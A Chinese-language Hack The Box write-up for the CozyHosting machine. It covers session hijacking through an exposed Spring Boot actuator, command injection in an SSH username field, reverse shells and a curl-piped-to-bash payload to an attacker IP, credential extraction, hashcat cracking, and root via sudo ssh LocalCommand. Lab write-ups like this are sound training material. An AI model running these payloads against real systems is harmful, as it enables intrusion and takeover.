【HTB靶场】CozyHosting WriteUp

渗透过程

靶机IP:10.129.216.104

信息收集

三板斧:端口扫描、目录扫描、子域名爆破

nmap -Pn -sV -sC -p- 10.129.216.104 --min-rate=5000
└─# nmap -Pn -sC -sV -p- 10.129.216.104 --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 14:15 CST
Nmap scan report for 10.129.216.104
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.62 seconds

开放80端口,浏览器访问,自动跳转到cozyhosting.htb。先将ip与域名添加到 /etc/host
在这里插入图片描述
在这里插入图片描述
端口扫描完之后目录扫描

dirsearch -u http://cozyhosting.htb/

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
通过扫描和报错,发现是springboot框架。并且这三个地址是可以访问的。

[15:21:27] 200 -   15B  - /actuator/health		#端点提供有关应用程序运行状况的health详细信息。              
[15:21:27] 200 -   10KB - /actuator/mappings	#mappings端点提供有关应用程序请求映射的信息。                          
[15:21:28] 200 -   48B  - /actuator/sessions 	#sessions端点提供有关由 Spring Session 管理的应用程序 HTTP 会话的信息。                    
[15:21:28] 200 -  124KB - /actuator/beans 		#beans端点提供有关应用程序 bean 的信息。

根据springboot信息泄露的漏洞,访问http://cozyhosting.htb/actuator/sessions能获取登录用户的回话session
在这里插入图片描述
目录扫描也发现了后台用户的地址
http://cozyhosting.htb/login
在这里插入图片描述
F12打开浏览器控制台,找到存储,查看当前回话的session。
在这里插入图片描述
将泄露的,已登录用户的session替换到此处,并访问admin,可直接进入后台。
注:登录用户的session在每次访问/actuator/sessions时会刷新。如果没进入后台,刷新后再替换试试。
在这里插入图片描述
在这里插入图片描述

获取shell

在后台管理处发现两个输入框。使用burp抓包,测试注入。
在这里插入图片描述
在这里插入图片描述
报错中出现“ssh”,结合请求中的hosr和username参数,猜测此处能执行ssh命令。联想到命令执行靶场中的ping命令,尝试拼接参数。

host=127.0.0.1&username=root;`id`;

在这里插入图片描述
可以看到id命令已成功执行。

那么为什么payload是这样呢?
ssh命令使用: ssh username@host
拼接后: ssh root;`id`;@127.0.0.1
id命令被夹在里面执行了。
靶场环境中,不加反引号不会出现命令回显。读者可以自行测试。
在这里插入图片描述
既然能执行命令,尝试反弹shell

bash -i >& /dev/tcp/10.10.16.9/7777 0>&1

同时kali本地开启端口监听

nc -lvnp 7777

在这里插入图片描述
username 不允许有空格。

bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.10.16.9/7777${IFS}0>&1

在这里插入图片描述
没有反弹成功。看报错没想明白怎么构建反弹shell的命令。
官方给的wp是使用curl上传反弹shell脚本。
脚本内容如下:

#!/bin/bash
sh -i >& /dev/tcp/10.10.16.9/7777 0>&1

可执行下面的命令直接写入文件

echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.16.9/7777 0>&1' > rev.sh

在这里插入图片描述
写入文件后,使用python开启http服务
使用靶机访问

host=127.0.0.1&username=root;`curl${IFS}http://10.10.16.9/rev.sh|bash`;

在这里插入图片描述
在这里插入图片描述
获取到shell

权限提升

至此为止,未获得一个用户密码。所以不能通过切换用户的方式获得更高级权限。
信息收集发现靶机的一个jar包。开启http服务,访问并下载。
在这里插入图片描述
在这里插入图片描述
jar包本质也是个压缩文件,可以使用unzip命令解压
在这里插入图片描述
解压后,在/BOOT-INF/classes/application.properties文件下发现postgresql数据库的账号密码

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

本来尝试远程连接postgresql数据库的,没成功。只能本地试试。

psql -h 127.0.0.1 -U postgres
\list					#查看存在的数据库
\connect cozyhosting	#连接cozyhosting数据库
\dt						#查看有几个表
select * from users;	#查看users表内容

在这里插入图片描述
admin的password为

$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm

使用hashid 判断一下这是什么加密

hashid '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'

在这里插入图片描述
bcrypt是一种哈希散列,可以使用hashcat爆破,指定模式为 -m 3200
先把哈希值放在文件中,执行命令。

hashcat -m 3200 /root/Desktop/hash /usr/share/wordlists/rockyou.txt --show

在这里插入图片描述
admin的密码:manchesterunited

执行ls /home 发现存在名为josh 的用户。尝试用爆破出来的密码撞库。
在这里插入图片描述

su josh

在这里插入图片描述
得到user flag

root权限

执行

script /dev/null -c bash	#美化shell,用来输入密码
sudo -l

在这里插入图片描述
发现ssh命令是用root权限执行的。

指定 PermitLocalCommand=yes 选项。此选项用于允许在成功建立 SSH 连接后在客户端计算机上执行本地命令。
LocalCommand=/bin/bash 选项指定 SSH 连接成功后应在计算机上执行的本地命令

sudo /usr/bin/ssh -v -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1

连接到机器后,将打开一个权限为root的bash shell
在这里插入图片描述

相关推荐

  1. HTB Devvortex

    2024-03-28 06:44:03       48 阅读
  2. HTB Ouija

    2024-03-28 06:44:03       50 阅读
  3. HTB Analysis

    2024-03-28 06:44:03       55 阅读
  4. HTB WifineticTwo

    2024-03-28 06:44:03       68 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-28 06:44:03       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-28 06:44:03       106 阅读
  3. 在Django里面运行非项目文件

    2024-03-28 06:44:03       87 阅读
  4. Python语言-面向对象

    2024-03-28 06:44:03       96 阅读

热门阅读

  1. 基础NLP知识了解

    2024-03-28 06:44:03       38 阅读
  2. 【aws】什么是assume role

    2024-03-28 06:44:03       35 阅读
  3. Qt实现TFTP Server和 TFTP Client(四)

    2024-03-28 06:44:03       37 阅读
  4. 关于LLM的简单赘述

    2024-03-28 06:44:03       39 阅读
  5. Microsoft VBA Excel 单元格 重复元素 去重

    2024-03-28 06:44:03       45 阅读
  6. 目标检测系列模型发展历程

    2024-03-28 06:44:03       48 阅读
  7. ubuntu20搭建Gitlab本地服务器(简洁版)

    2024-03-28 06:44:03       40 阅读
  8. OpenCV图像处理——图像矩

    2024-03-28 06:44:03       43 阅读
  9. 解锁社交媒体图像内容的深度学习之道

    2024-03-28 06:44:03       39 阅读